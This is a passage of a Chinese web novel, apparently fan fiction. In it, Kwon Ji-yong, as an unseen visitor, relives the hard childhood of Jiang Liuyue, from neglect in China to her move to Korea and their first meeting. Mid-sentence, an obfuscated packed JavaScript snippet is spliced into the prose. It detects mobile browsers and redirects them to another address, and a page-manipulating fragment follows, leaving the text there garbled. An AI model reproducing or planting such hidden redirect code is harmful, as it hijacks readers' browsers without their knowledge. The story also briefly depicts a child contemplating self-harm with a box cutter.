“不哭。” 她奶声奶气的说道。 权志龙好不容易忍住的泪水又忍不住了,他话也说不出来,只是一个劲儿流泪。 即便这样也漂亮,即便这样也可爱,即便这样也乖巧,即便这样,也会为还是陌生人的他感到心 软,掏出自己唯一干净的小手帕的小孩。 “不哭。” 见这个漂亮的大哥哥眼泪还是一个劲儿的流,江留月急了,她凑上去,用手帕为权志龙擦拭眼泪, 然后用另一只小手摸着权志龙的胸口位置,一下一下一下。 她嘟着嘴巴呼呼吹气:“不痛不痛,不痛不痛,不哭。” 她凑得很近,权志龙看到她瘦巴巴的手臂上好多擦伤,他知道那是怎么来的。 是她爬树的时候擦伤的,是她被狗吓到摔倒摔伤的,是她和比自己高两头的男孩子抢书包的时候被 打的,是她自己跟自己玩树枝的时候被戳伤的。 然后,今天晚上,她还会因为被抢走书包没有了钥匙而被锁在门口,窄窄的屋檐挡不住雨水,她会 因为感冒而缩在门口昏睡,待到第二天被人发现,已经烧成了肺炎。 权志龙记得她蜷在自己背上发抖的样子,她好轻,太轻太轻了,权志龙又将她抱在怀里用衣服裹 住。 她搂着权志龙的脖子,含含糊糊的叫妈妈,叫痛。 权志龙抱着她喘着粗气在路上试图寻找医院,然后他可能会碰到什么人,怀里的人会消失,他又会 出现在夕阳西下的大树旁,回到这段残酷记忆的开头。 他对已经发生在这个孩子身上的一切,都无能为力。 他听不懂江留月说的话,只能比划着,笨拙的用蹩脚的中文进行最简单的交流,即便这样,他们也 成了朋友。 她脏兮兮的小脸上露出了笑容,小手握着他的手指,他们玩箭头石头布,玩荡秋千,她站在台阶下 往权志龙的怀里跳。 权志龙牢牢地抱住了她,她咯咯直笑,然后搂着他的脖子,眨巴着眼睛看着他,伸出小脏手摸他的 脸。 权志龙反复试探出了极限位置,于是将她送到了胡同附近,无声的催促她快些走,至少要在下雨之 前回到家。 江留月依依不舍的看着他:“你明天还来玩吗?” 权志龙勉强懂她的意思,撑着笑容点头。 江留月伸出一只手跟他拉钩,权志龙勾着她的手指,尽量让自己不要流泪,他并不想让自己看起来 那么软弱无用。 他看着江留月一步三回头的往前走,她身上背着还没有被抢走的小书包,但下一秒,胡同的死角里 就跳出了两个小男孩,怪叫着冲她跑来: “呀!!是小野种!!!” 江留月被吓得掉头就跑,男孩子们抓住了她的书包,她踉跄着挣扎,很快甩脱了对方,但也弄丢了 自己的书包。 她鼓足勇气回来找书包,因为找不到,肉眼可见的越来越慌张越来越害怕,大大的眼睛里满是泪 水,她左看右看,忽然像是寻找什么人一样,对着空气呜咽: “哥哥,哥哥。” 权志龙的手忍不住去摸她的眼泪,但手掌却穿过了她的脸。 他呼吸急促的瘫软在地上,看着那小小的身影慌乱的四处张望,他嘴巴张开,却发不出声音。 塔伊。 塔伊。 哥哥在这,别害怕塔伊啊,别哭。 我什么都做不到怎么办啊塔伊。 绝望一次次反扑,权志龙逐渐认清了这残忍的机制:一旦第三者介入,他便无法参与、无法触碰。 他只能立刻退出第一个房间,然后几乎是踉跄着闯入第二个房间,一推开门,就是瓢泼大雨和扑面 的冷风。 他看见屋檐下蜷缩的小小身影,权志龙近乎连滚带爬的跑过去脱下外套将人裹住搂在怀里,他知 道,自己没办法带她去找医生,这都是徒劳,因此他找了个雨淋不到的地方,将怀里的人紧紧地抱 着 ,尽量给她擦干,让她暖和一点。 江留月勉强睁开眼睛,她浑身滚烫,视线模糊,小手却很努力的伸出去,摸索到了对方的脸庞。 下巴、嘴唇、鼻梁、眼睛、眉毛。 她的嗓子很痛,发不出声音,只有猫叫一样的呜咽。 她知道对方是谁。 是只有她能看见的大哥哥。 给过她橘子糖,陪她荡秋千、直到天黑都一直陪着她玩的大哥哥。 是和她约好了第二天一起玩的大哥哥。 她伸出手搂住了对方的脖子,将脸贴在权志龙的脖颈上,她感到了安心,似乎也不那么冷了,但这 里似乎依然在下雨。 一滴一滴的落在她的脸上。 这雨似乎,怎么都不会停。 权志龙进入了第三个房间,出乎他的意料的是,这里的场景已经完全改变了,这是一座豪宅的后花 园,被精心打理的草坪和花园上还有忙碌的园丁,他看到了江留月。 她看起来长大了一些,扎着清爽的马尾,穿着漂亮的白裙子,手里拿着一本厚厚的书坐在花园的小亭子里,嘴里一直在碎碎念。 权志龙走过去,发现江留月很专注,她双手捂着耳朵,嘴里不停的重复念着,权志龙凑过去,看到了封面上的中文字,他不会听和说,但是看还是没什么问题的,辨认出那是一本关于经济法的相关 资料。 ……不是。 权志龙头大如斗。 “你现在才几岁啊,为什么在看这个?” 江留月猛然抬起头。 她看到眼前人的瞬间,呼吸都停顿了片刻,然后,几乎是立刻弹射起步的冲到了权志龙面前,她伸 出手,直接摸向了权志龙的脸。 很好,已经成了刷脸习惯了是吧。 权志龙苦哈哈的弯下腰给她摸,待到摸完了,他微笑着想要跟江留月打个招呼。 下一秒,江留月焦急的小脸蛋陡然一变,她抬起穿着精巧小皮鞋的脚,狠狠地踩向了权志龙。 “……” 权志龙都痛到失去声音了。 他疯狂抽气,抬起头看向江留月不解自己的无妄之灾,却看到那孩子噘着嘴,眼眶红红的看着他, 眼泪啪嗒啪嗒直掉。 “怎么了怎么了怎么了,为什么要哭呢。” 权志龙的火气立刻就烟消云散了,他赶紧伸出手去给她擦眼泪,可眼泪越擦越多,江留月扑倒他的怀里,呜呜的哭了起来。 江留月九岁了。 她在国际小学读书,课业繁重,回来还要跟同辈的人卷别的竞争力。 国际小学双语授课,她讨厌英语,但也得学,她蹩脚的发音总是被同学嘲笑,他们大多从幼儿园甚 至懂事儿起家里就双语了,经常故意当着她的面用英语甚至其他国家的语言交谈,江留月从开始的 窘迫到现在方言+普通话+英语+自创语言魔法攻击,也就用了三四个月的时间。 得益于英语教学,她和权志龙总算能用英语沟通了,权志龙因此了解到了她的基本情况。 她的父母在她很小的时候闹分手了,后来因为她那次高烧重病,父母重归于好,她也得以回到父亲 身边也就是江家生活。 江家在她父亲这一辈一共是三兄弟,她的年纪是属于上有大哥大姐下有弟弟妹妹,因此存在感并不 强烈。 奈何江家除了她的父亲,其他两兄弟都是遍地开花,因此私生子和家生子经常混战,难免波及到 她,再加上江家父辈这一代也还争产业,她又是江父唯一的孩子,这种混战中又被赋予了别的含 义。 起初,江留月被乔娜叮嘱要忍耐,但她很快发现,忍耐并不能带来平静,只会带来变本加厉的迫 害。 忍无可忍,无需再忍,江留月一朝爆发,反而让江父刮目相看。 “爸爸改了我的名字。” 江留月坐在花园的秋千上,她一边荡秋千一边回头对权志龙笑着说:“我现在是,江留月啦。” 她原本的名字跟随母姓,叫做乔明月,江父把名字改成了江留月,既是承认了她是江家的孩子,又 是要‘留下月亮’,这让江留月的日子总算好过了一些。 “虽然爸爸对我很严厉,但是,我觉得现在很幸福。” 她靠在秋千架上,大大的眼睛里都是憧憬:“现在见到了志龙哥,我就更幸福啦。” 她没有去追问权志龙为什么会这样出现,权志龙也没有提,他只是说了自己的名字,让她叫自己哥 哥,江留月就很开心的叫了,她说,江家的哥哥们对她虽然也很客气,但其实她能知道对方只是不 在乎自己的存在,她一直都很羡慕那些哥哥们和自己的亲弟妹们的相处。 “哥哥,你明天还会来玩吗?” 江留月问道。 权志龙想笑一下,却怎么都笑不出来。 这个世界大抵是出了什么问题……? 至少他从来不知道,江留月有个什么江爸爸,她的生父不应该是柳天赐吗……如果她用江留月这个 名字是从这一刻开始,那么她又为什么去韩国了? 接下来的几个房间里,江留月都在江家继续生活,她的日子过得不轻松,小小年纪学的东西极多, 而且江家严苛,从吃饭到作息都有严格规定,经常写作业要到凌晨才能休息。 令权志龙难受的是,他作为旁观者,能很轻易的感受到这个大房子里的绝大多数人,都对江留月报 以轻视和恶意。 他本以为江留月单纯迟钝,没有察觉,没料到,他忍不住提醒江留月的时候,江留月却对他比了一 个“嘘”的手势。 “没关系的,我可以忍。” “我现在还太小了,哥哥,等我长大了,我会考一个很厉害的学校,然后成为被爸爸认可的继承 人,到时候,就没人看不起我了,妈妈也能跟着我过好日子了。” 江留月握着拳头压在自己的胸口,黑白分明的大眼睛下是怎么都盖不住的缺乏睡眠的青灰色,她看 着权志龙,软软的说道:“哥哥,相信我吧,我能做得很好的。” “嗯,相信你。” 权志龙摸着她柔软的头发,守在她的床边等她睡着,江留月一定要抓着他的手,他于是将手伸出去给她摸。 “是笑脸呢。” 江留月戳着他虎口的纹身:“哥哥,你好好哦,就连握手也在对我笑呢。” 权志龙克制的微微吐气,他压住情绪,只是勾起手指回握住那软软的小手。 只有十岁的小孩,在这庞大的房子里踩着隐形的钢丝,不管看到谁都要露出笑容,只有在他的面 前,才会垮下小脸,然后有些委屈的哼唧: “哥哥,你又骗我,你好久没出现了。” 权志龙只能不停的道歉,尽管这并不是他的本意。 权志龙无法控制时间的间隔。 在江留月九岁到十三岁的这四年间,他出现停留的时间不过短短数天,每次再见到江留月,他都惊 叹于对方的成长和变化。 九岁、十岁、十一岁、十二岁。 他每次见面,都要听江留月碎碎念他不在的时候自己过的生活,真是奇妙,江留月曾经和他使用同 一种语言在同一个国家,他们相处的九年里,分开的时间屈指可数,哪怕只分开两三天,江留月也 会喋喋不休的分享自己的人生,他当时漫不经心的听着,只选自己想听到的东西摄取。 现在江留月磕磕绊绊的用英语夹杂着中文跟他说话,他反倒从只言片语里无端看到漫长的时间里, 她一点点长高的样子。 她很疲惫,活得一点都不像个小孩,权志龙能看出来,她并不喜欢过早的接触什么经济什么金融, 但她很努力,她说因为她的努力,乔娜这两年过年的时候在家宴上都好过很多,大家对他们的态度 也改变了很多。 “大家对我的笑容也变多了,我还交到了朋友呢。” 江留月兴致勃勃的说道。 她难得笑得那么开心灿烂,权志龙却越发觉得心口沉重,像是巨石即将坍塌。 他有非常强烈的,不祥的预感。 江留月毫无察觉的样子让他感到害怕。 他想要张嘴提醒她,但,他要怎么开口呢?眼看着孩子怀揣着希望,每天都努力变得更好,即使觉 得辛苦也努力咬牙坚持的样子,权志龙根本张不开嘴。 他只能陪伴在江留月的床头,看着她沉睡的样子,一遍遍的替她向神明祈祷,祈祷那一天不要到 来,至少让她再多幸福、再多幸福、哪怕一天就好。 权志龙总是会想起江留月。 不是眼前的这个孩子,而是,他的塔伊。 那孩子总是会冷不丁的忽然不笑了,明明是很好的时候,有时候是大家一起玩的时候,有时候是一 起聚餐喝酒的时候,有时候甚至是在他怀里依偎着玩手机的时候,她忽然冷不丁的就开始情绪低 落,然后变得很粘人。 “哥哥,我好幸福啊。” 她用一种惶惑的不安的表情说道: “幸福到我觉得好害怕,我不知道该怎么办了。” 权志龙以前总是不能理解。 直到这一刻。 江留月模考成绩又进步了,乔娜最近心情很好,对她态度极好,因为家庭的和睦,江爸爸特意在家 里为她举办了一个生日聚会。 中国对酒类管理并不严格,江留月稍稍喝了一点啤酒,她晚上回到房间,权志龙坐在落地窗前等 她。 “哥哥,你为什么看起来那么不开心?” 江留月好奇的问道。 权志龙看着她尚且稚嫩的脸庞,完全是刚刚从儿童过度为青少年,不管是长相还是行为,再怎么故 作成熟,也透着一股孩子气。 天真、脆弱,天大的坏事,也不过是考试没考好,缺乏对灾难的想象力。 只是因为看到权志龙看向了她,就下意识的露出可爱的笑容和关切的眼神。 “因为想你了,这次让你久等了。” 权志龙说道。 “嗯?这次还好呢,才过了两个月,啊,哥哥,是因为我的生日吗?所以来庆祝吗?”江留月双手 对着他伸出来:“那,礼物呢?” 权志龙有些窘迫。 江留月看出了他的窘迫,没忍住笑出了声:“逗你的,哥哥,你能来就是最好的礼物了。” “会给你补上的。” 权志龙轻声道。 “别放在心上,哥哥,对了,你……为什么只有我能看到呢?哥哥到底是什么?是神?是鬼?还是 什么……外星文明?” “为什么那么问?” 江留月嘿嘿一笑:“如果是神或者外星文明就算了,如果是鬼的话……我可以给你烧点东西……啊 痛痛痛!!我错了我错了我不敢乱说话了!!” 权志龙又怎么忍心真的弄疼她,意思意思拧了一下耳朵罢了,江留月晕乎乎的抱着熊娃娃跟他聊 天,没一会儿就困意来袭。 权志龙以为她睡着了,于是想要将她抱到床上去,却被她抓住了手指,江留月含糊的说道 “哥哥,我好幸福啊。” “幸福的就像是做梦一样。” 权志龙怎么都笑不出来,他知道,自己能出现在这里,证明这是一个非常重要的时间节点,江留月 一定是在这里,经历了重大的人生转折。 他不管怎么克制,都没能忍住的,发出一声叹息。 江留月已经睡着了。 他伸手摸了摸她的头发。 “做个好梦,塔伊啊。” “哥哥就在这呢。” 这场变故来得所有人都猝不及防。 别说尚且是孩子的江留月,就连江家人都被整懵了。 没人能理解乔娜的行为,也许她所向往的真挚的爱意,在这样庞大的家族里,就是不应该存在的东 西,为了一个假死十多年的外国男人,舍弃如日中天的江家,这已经不是离经叛道了,这对江家来 说,也是莫大的羞辱。 江家以前所未有的雷霆手段进行切割,这一切都是在江留月读书的时候发生的,等她回到家的时 候,她的房间甚至都被清理掉了。 乔娜哭红了眼睛,但满脸都是雀跃和快乐,她拉着江留月的手,对她说: “明月,我们自由了。” “我们现在要过好日子,组建我们自己真正的家,再也不用忍受这些破规矩,再也不用受苦了。” 江留月不能理解,她显然被妈妈给吓坏了,她下意识的想要寻求父亲的帮助,想弄清楚发生了什 么。 一场混乱、崩坏、歇斯底里的坍塌。 只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155315|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十三岁的孩子手里还握着考卷,甚至还背着书包,她已经习以为常的以为会一直这样延续下去 的人生被毫无征兆的拆个粉碎。 无数个昼夜学习到的知识,挨了无数斥责甚至打骂才学会的规矩,在这一刻忽然毫无意义了。 “……妈妈,我们不能留下来吗?” 她哭着问乔娜:“我真的不想走。” “你疯了吗?你怎么会不想走呢?这里又不是你的家,你怎么能不想走呢?” “明月,韩国那边才是你的亲爸爸,你身上流着他的血,他和我们才是一家人啊。” “这里的一切对你来说都不重要,韩国那边会有更好的,你相信妈妈好不好?” 乔娜起初还哄了几句,后面就彻底不耐烦了,她斥责江留月不懂事,告诉她别痴心妄想,江家根本 不可能容得下她。 被清空的房间,本来已经变得和善的人们骤然冷淡厌恶的眼神,不管走到哪里都被议论,被强调的 身世,以及她身上流动的血。 江留月拿着一把美工刀在自己的手腕上来回比划,权志龙被她吓得要死,他冲上去攥住她的手腕让 她不要胡来。 江留月却对着他嚎啕大哭:“哥哥,哥哥怎么办,我不想走,我好害怕,我不想去韩国。” “这里不是我的家吗?这里为什么不是我的家了呢?” “我的爸爸不是我的爸爸吗?可是,过年的时候他还夸我,说我越来越像他了,如果我不是他的女 儿,我怎么会越来越像他呢?” “家怎么会突然不是家呢?他们怎么突然都不理我了呢?” 她哭得嗓子都哑了,抓着权志龙的袖子,通红的眼睛里满是迷茫和害怕:“哥哥,怎么会这样啊, 爸爸突然不是我的爸爸了,他不肯见我,也不喜欢我了。” “为什么?因为我不漂亮了吗?我不聪明了吗?我不努力吗?” “我会努力的,我会更努力的,我会考的更好的,不喜欢的课也会去上的,我以后都不会跟其他人 吵架,我会让着他们的……” 她语无伦次的在自己身上寻找缺陷,检讨自己,对着权志龙表着决心,说着说着,她自己又扯着根 本哭不出来的嗓子哭,整个人都要厥过去了。 权志龙连安慰的话都说不出来,他只能把她抱在怀里,用手抚摸她的后背,一次又一次的对江留月 重复: “这不是你的错,明月,这不是你的错。” “你什么都没做错……” 江留月恍恍惚惚的问他:“如果我没做错什么……为什么我会被赶走呢,为什么爸爸不要我了 呢?” “因为我是别人的小孩,可是,我不是想要当别人的小孩才去当的……” 她停顿了片刻,又扯着嗓子哭了起来:“爸爸,爸爸,爸爸,爸爸……” “别不要我……” 夜深露重,宅子空旷,江留月的哭声传出很远。 权志龙一直很害怕会有人听见动静过来,他就会被强制脱离这里,丢下这可怜的小孩。 但是没有。 一个人也没有来查看。 一直到天边亮起日光,江留月哭着在他怀里睡着,也没人来。 权志龙明明是灵魂,也感到了精疲力竭,他抱着怀里的小孩,她是那么的轻,轻到他心中涌出她会 这样消散在清晨的冰冷日光中的错觉。 他第一次对江留月来到韩国时的年龄有了实感。 十三岁的小孩,语言不通,被家族贸然丢弃,忽然来到注重名声规矩的宗族里当了一个流落在外多 年的私生女。 他又想起自己在练习生期间,还不知江留月的身份,总是很不满这孩子送货的时候打招呼不够礼貌 不够元气,总是吐槽他: “呀,酱得利,你怎么总是阴沉沉的。” 那孩子总是愣一会儿才能理解他说的话,然后有些犹豫的鞠躬道歉。 她自己也不知道自己做错了什么。 因为她不理解这个世界的规则,只知道如果闯祸了,如果灾难降临了,会很痛,所以下意识的选择 道歉来躲避可能发生的一切。 不是胆怯,也不是阴沉沉。 只是害怕。 可即便如此,江留月也鼓起勇气爬起来了,即便跟着妈妈来到了陌生的国家,完全听不懂的话,能 够感受到直白的恶意,她也总是在看到别人的时候,强迫自己露出笑容。 她很不习惯韩式房间,更不习惯睡在地上,门没有锁,是推拉的,她没有任何安全感,总是如同惊 弓之鸟,一点动静就紧绷身体。 权志龙再次来到她身边的时候,她一句话也没说,嘴巴先瘪起来,哭得连声音都没有。 权志龙想要说话,她用小手捂住他的嘴巴,一边嘘一边掉眼泪。 权志龙搂住了她,才发现她一直在发抖。 “哥哥,哥哥,别说话。” 她压低声音,哽咽着抱紧了他的脖子:“别消失,哥哥,别丢下我。” 她已经懂了权志龙消失的规律,那就是第三者出现的时候,权志龙会消失。 所以她害怕别人听到被人看到,即便是哭,也没有声音。 “哥哥,别消失。” 江留月不知道跟谁学会了求人的姿势,她两只小手并拢贴合上下搓,这是韩国传统中一种非常卑微 的祈求的姿势。 权志龙不知道什么情况下,她学会了这个姿势,他不敢想,只能尽量强压住自己的情绪,在她耳边 安慰着她,说哥哥在这里,哥哥不消失。 江留月的情绪好不容易才平稳下来,她用手摸着权志龙的下巴、嘴唇、鼻子和眼睛眉毛,眼泪怎么 都不停下。 她不知道权志龙到底是什么,不知道来到韩国之后,权志龙能不能跟过来,所以一直在担惊受怕, 每天都期盼着,看到权志龙的身影出现。 “别丢下我,别不要我,我会很乖的,我会漂亮,很可爱的。” 她一次次的说着。 权志龙很缓慢的抽气又吐气,他想说没关系,你不可爱不漂亮也没关系,但他却喉咙里堵了棉花, 一个字也说不出来。 江留月在语言学校读书,她对韩国抵触情绪很强,也不喜欢柳家的一切,对待融入柳家这件事情明 显非常的消极。 她和乔娜的矛盾升级的很快,一个拒不配合的私生女让乔娜受尽了风言风语,这和她想像的韩国生 活相差太大,乔娜实在是受不了了,很快找了个借口给江留月租了个公寓,让她搬了出去。 “反正是个女孩子……养一养,等到长大了考个大学,就能嫁人了。” “好歹,脸蛋漂亮。” 听到这些话,被这样安排的江留月并没有什么不高兴,反而松了口气,她絮絮叨叨的跟权志龙说她 才不可能听妈妈的话被这样安排,她一定会想办法脱离自己的命运。 “我很努力,所以我会做得很好的。” 她对权志龙说到。 命运往前推,权志龙站在那,很艰难的,嗯了一声。 “哥哥,我能得到幸福吗?” 江留月躺在床上,半梦半醒的问道:“我是不是还要更努力一些呢?” 权志龙不说话,只是摸了摸她的头。 江留月忽然高兴起来,她握住了权志龙的手,将脸贴在虎口的笑脸上:“哥哥,还好有你在。” 她轻声的说道:“其实现在我就觉得很幸福。” 权志龙说不出话。 他只觉得头晕目眩,呼吸困难。 这天还是来了。 “哥哥!!!” 江留月回到家,发现他在的时候,兴高采烈的喊了一声,然后朝他扑了过来,她身上还穿着脏兮兮 的打工外套,权志龙闻到了糖醋肉和炸酱的味道。 江留月脱掉外套换上睡衣,一边吃权志龙为她煮的面条一边喋喋不休的向他说着权志龙消失这段时 间所有的见闻。 权志龙一边听一边替她整理衣服,却发现衣服上大片的血污。 他猛然心跳漏了一拍,脚步慌乱的跑过去:“塔伊啊,怎么了,你流血了吗?” 江留月自从学了韩语,已经知道自己的名字叫做‘塔伊’,所以倒也不惊讶权志龙这样叫自己,她 嘴里塞着吃的,含含糊糊的说:“不要紧,已经好了。” “你受伤了?哪里?疼不疼?怎么会让自己受伤呢?” 权志龙呼吸都凌乱了,心痛的要命,他抓着江留月上下检查,江留月咽下嘴里的食物安抚道:“真的没事,哥哥,只是流鼻血了。” 权志龙捏着她的下巴让她抬头,果然看到鼻子里还有残留的血渍:“怎么会弄成这样。” “有个奇怪的人。” 江留月叽里呱啦的说道:“就是我打工常去送炸酱面的那个娱乐公司里,有个奇怪的人,他吓了我 一跳,我就用箱子打了他。” 她看起来颇有些生气,气鼓鼓的描述着发生的一切,却没注意到权志龙僵住的表情。 “用箱子打人,是我不对,但是,这个人也打了我,所以,也只能这样了。”她摸了摸自己的脑 袋:“可是这个人也太用力了,一巴掌差点把我打晕过去,还流了好多鼻血!哥哥,你说是不是很 荒谬!!!” 权志龙不说话,只是呼吸急促,脑子嗡嗡作响。 他一下子甚至找不到支配自己身体的方法,也不知道自己说了什么。 大抵,他的表情真的很难看,江留月也注意到了,但她以为权志龙只是担心她,于是摆了摆手: “放心吧哥哥,我会离他远一点的。” 她怕权志龙不相信,于是又强调了一遍:“我会避开他,好好生活的。” “别担心了哥哥,他不会伤害到我的。” “反正看起来,我们根本就不是一个世界的人,怎么想,应该都不会有什么后续关系了。” 江留月喋喋不休了一会儿,却发现权志龙安静的可怕。 她有些疑惑的看向权志龙,却发现他脸色像是雪一样白,甚至嘴唇都失去了血色。 “哥哥……怎么了!?!” 江留月吓坏了,急忙抓住权志龙问道。 权志龙死死地盯着她,看了很久很久,他嘴唇张了又张,却一个字都吐不出来。 塔伊。 我要怎么告诉你。 你这一生,都无法避开他呢。 我要怎么告诉你。 你的名字,你的人生,你的未来,都要和这个人纠缠不休呢。 塔伊。 我心爱的小孩。 我无比确定,无论我们怎么相遇,何时相遇,我都会是一个无可救药的沉迷于你的可悲男人,如果 是以前,我大概会告诉你,那是个好人,你要和他好好的认识,好好的相处,他会保护你,爱你, 给你幸福。 可是在这个瞬间,塔伊,我想要对你说的话,却是。 “做得好,塔伊。” 权志龙颤抖着,露出笑容,他伸出手,抚摸江留月的头发,淡色的眸子甚至染上了血色,但他仍然 逼迫自己,尽量平稳的说出了这句话: “离他远点。” “这个人,会带给你很多伤害,是个很坏很坏的人。” “如果无法避开,也要记得……” “不要爱他,塔伊。” 江留月疑惑的看着权志龙,她很明显,无法理解对方在说什么,甚至觉得荒谬和好笑。 权志龙伸出手,摸了摸这孩子的眼角,总是弯弯的,露出月牙笑容的眼角。 “如果……万一……” “至少不要为他掉眼泪,塔伊。” “那个男人很坏,他不值得。” 61.一天一天(中) 61.一天一天(中) “人啊,就是要在年轻的时候谈恋爱。” Perry缓缓吐出烟雾,发出这样的感慨,他用手指头敲了敲坐在旁边翻看杂志的权志龙的脑袋:“听到了吗,志龙,碰到了喜欢的女孩,就一定不要放过她,哪怕被拒绝也不要气馁,勇往直前的 冲刺,去当爱情的勇士!” 此时,权志龙也不过十二三岁,他经常在学校被学姐们围追堵截,因此对女生们退避三舍,闻言露 出有些排斥的表情。 “呀,小子,你为什么这个表情啊。” Perry哭笑不得,他叼着烟对权志龙语重心长的说道:“谈恋爱就是要在你这个年纪知道吗,等长 大了,恋爱这个游戏就不好玩了。” “为什么?” 权志龙不明白,在他的眼中,哥哥们都是很帅气的存在,有钱又有名气,看起来个个都是了不起的 大人。 “因为爱情这个东西,就是要脑子里空荡荡的才不会吸收杂质,才会纯净美好,等你成为了一个聪 明的大人的时候,爱情就不是爱情了。” Perry没指望他能听懂,他的自言自语说给自己的情伤听:“大人的世界里,只有权衡利弊,没有 真心。” “你要在有真心的时候把自己的真心交出去被人踩碎。” “到时候你就是个真正的大人了,志龙。” 权志龙对这种话似懂非懂,他更在乎的是,他这样成为一个大人之后,会不会能写出动人的旋律和 令人心碎的情歌。 他是个纯情的少年,对恋爱怀揣美好的向往和期盼,也如Perry所说,没多久之后碰到了让自己心 动的女孩,大胆的开始了追求。 从那之后,权志龙就断断续续的开启了许多爱情罗曼史,有的如过眼云烟,有的在他的人生中留下 了浓墨重彩的一笔,比如金真儿。 这无疑是让他颇受情伤的女人,第一次尝到了狼狈不堪的滋味的权志龙也尝到了将这种情感释放到 旋律中的乐趣,他乐此不疲的展示这段情史,尽管金小姐的脸庞在他的记忆里早就模糊了,他提起 金小姐的时候,也会流露出真假难辨的伤感。 毫无疑问的是,学习能力极强的权志龙在感情方面也是个灵活变通的天才,他好像总是无师自通的 懂得要怎么扮演一个可爱可怜又年轻帅气、能力出众、引人注意的“纯情”形象,不管交往了几个 女朋友,他也依然表现得对女友的示好和肢体接触羞涩不已,甚至捂着心口像是承受不住这种心动 一样的单纯模样。 表面上每次恋情开始,都是他率先沦陷主动攻击,实则,权志龙是个冷静的猎手和观察者,所谓的 擅长“推拉”,不过是对那些早已沦陷的女孩们的精准预判罢了。 就感情方面,他可能不是个本心如此的坏人,但绝对是个糟糕透顶的男朋友。 当女孩子们因为这样那样的原因想要分手的时候,本来冷静的猎手就摇身一变成为楚楚可怜的受害 者,喝酒买醉都成了寻常套路,甚至因为这种事情大病一场的时候,也并不少见。 “他说谎。” 在得知权志龙病了所以缺席了今天的工作的时候,江留月撇撇嘴:“他就是想要偷懒,装成被女朋 友甩了的样子伤心难过,其实一定是在偷玩昨天发行的新游戏。” 权志龙一阵汗颜,难得被噎得话也说不出来。 他倒是知道江留月这孩子从小就聪明,但从未想过,江留月那么早就看透自己的‘渣男’行为,还 在背地里这样吐槽自己。 自从时间拨转来到了2005年,权志龙一度担心自己的容貌会让江留月对现实中2005年18岁的权志龙产生奇怪的情感依赖,但似乎这个神奇的梦游廊自动‘修复bug’,江留月将他与过去的自己分成 了两个人,从来没有搞混过,也从没说过他们长得像这种话。 他于是陪伴着江留月,以离奇的角度再次经历了自己的人生,这种直面黑历史的经历,总是让权志 龙感到手脚蜷缩,因此就连话都少了很多。 虽然在发现江留月和过去的自己遇见的时候情绪波动极为强烈,但人只要过了那个情绪点,就会开 始无限后悔自己的冲动发言。 因为,权志龙发现,江留月似乎,真的,很不喜欢自己。 也许他应该更勇敢一些,把似乎去掉。 甚至,江留月,可能,或者,大概,还挺讨厌他的。 “倒不是个坏人。” 在权志龙鼓足勇气开始问江留月对‘权志龙’的看法的时候,江留月思考片刻之后说道:“有能力、很负责、也很有才华,我觉得这是个能成大事儿的人。” 权志龙一时之间无语凝噎。 眼前这个发出‘锐评’的批评家,也不过只有十四岁,脸上还堆着婴儿肥,说起韩语来还有些语法 混乱、词序颠倒,但皱着眉毛认真点评的样子,却莫名有些老气横秋。 说起来,这孩子原本在YG就是因为成熟和有眼力见出名的,当时权志龙以为是因为穷人家的孩子早 当家所以那么会讨好人,现在看来,完全是因为曾经在中国的精英教育让江留月的思维能力远超于 同龄人,她一直在努力向下兼容不懂事儿的哥哥们罢了。 “不过也可能是因为我接触的人少吧,没准儿随便什么公司里的练习生都是这种水准呢。”江留月 又找补了一下:“唉……但也不能因为这个原因就否定他确实很厉害,但这个人脾气也太差了,又 很凶,打人也很痛,我还挺害怕他的。” 她抬起头看向权志龙,很真心地说道:“哥哥,你说得对,我要跟这个人保持距离才行。” 权志龙再次被会心一击。 他甚至有点笑不出来,于是干巴巴的说道:“但你还是你不听哥哥的,进了YG公司当了他的后辈 啊。” ……明明那个时候,握住了我的手的时候,像是一只脏兮兮灰扑扑的小猫咪主动过来用脑袋蹭我一 样,总要有点点好感度吧。 “那是因为永裴哥很好啊,胜铉哥也很好,贤胜也很好,大家看起来都很善良,公司的人也没有因 为我之前送炸酱面就欺负我……气氛也很好,至少比我打工的中国饭店好,所以我也能忍吧。” 【注1】 江留月叹了口气:“就算是很凶我也要忍着了,这也是没办法的事情,毕竟不是什么都能十全十美 的,总之,当练习生总比继续送炸酱面要强吧。” 权志龙:“……” 说得很好,下次别说了。 人真是奇怪的生物,因为知道这是江留月的记忆,她的人生并不能因为自己的介入发生改变之后, 权志龙的心态再次迎来了变化。 他担心江留月爱上他,但更害怕江留月讨厌他。 但江留月显然将他之前说的话放在了心上,本来权志龙在2005年能进入的房间只有两三个,偏偏每 次都似乎看到自己的评分在她心里头降得更低。 这小鬼……也太会装了吧。 权志龙不管怎么回忆,记忆里2005年的江留月都是乖巧的小兔子,总是怯生生的看着自己,不管自 己做什么说什么都马首是瞻,从来不敢惹自己生气,哪怕被捏着脸蛋捏到很痛,痛得眼泪都冒出 来,也不敢挣扎。 不管她在干什么,只要勾一勾手指,就会像是摇着尾巴的小狗一样粘过来。 本以为是因为这个孩子喜欢哥哥,结果只是因为害怕讨厌自己,却又因为大前辈的身份以及介绍她 进入YG的恩情敢怒不敢言。 “……你讨厌他吗,塔伊?” 权志龙别扭了半天,还是没忍住,假装不在意的问道。 “啊?谁?志龙哥?” 在梦游廊的作用下,江留月显然已经将权志龙的名字都已经忘记,对她而言,这个只有她能看到 的,不定时出现在她身边的人是‘哥哥’,而昨天还因为她离谱的跑调而对她一顿咆哮的人才是她 认知中的权志龙。 她很快的,几乎是没有犹豫的摇了摇头:“不,我很喜欢他啊。” 听见这句话的时候,权志龙都有些不敢相信了。 他看向江留月,这孩子也看着他,目光清澈明亮,不像是开玩笑。 “……你刚不还说……?” “就算他是个坏人,他也对我很好啊,虽然我还是想离他远点……他真的严格到了变态的程度了哥 哥,你知道吗,他因为我唱歌跑调罚我将那首歌录下来唱100遍!!我今天早上才勉强能正常讲 